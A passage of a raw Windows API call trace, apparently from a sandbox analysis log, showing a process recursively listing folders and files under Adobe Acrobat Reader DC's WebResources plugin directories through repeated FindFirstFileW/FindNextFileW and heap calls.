cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.408] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0250.408] GetProcessHeap () returned 0xc10000 [0250.408] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.408] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0250.409] GetProcessHeap () returned 0xc10000 [0250.409] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0250.409] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.409] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x221d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.409] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x221d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.409] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0250.410] GetProcessHeap () returned 0xc10000 [0250.410] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.410] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0250.410] GetProcessHeap () returned 0xc10000 [0250.410] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.411] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.411] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2155, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.411] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2155, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.411] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.411] GetProcessHeap () returned 0xc10000 [0250.411] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.411] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0250.411] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0250.411] GetProcessHeap () returned 0xc10000 [0250.411] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0250.411] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0250.412] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0250.412] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0250.412] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0250.412] GetProcessHeap () returned 0xc10000 [0250.412] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0250.414] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0250.414] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0250.414] GetProcessHeap () returned 0xc10000 [0250.414] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0250.415] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf", cAlternateFileName="")) returned 1 [0250.415] GetProcessHeap () returned 0xc10000 [0250.415] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0250.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0250.417] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.417] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0250.417] GetProcessHeap () returned 0xc10000 [0250.417] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0250.718] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.718] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0250.718] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0250.719] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0250.719] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0250.719] GetProcessHeap () returned 0xc10000 [0250.719] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0250.719] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0250.720] GetProcessHeap () returned 0xc10000 [0250.720] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0251.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0251.449] GetProcessHeap () returned 0xc10000 [0251.449] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0251.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0251.630] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.630] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0251.630] GetProcessHeap () returned 0xc10000 [0251.630] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0251.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0251.962] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.962] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: 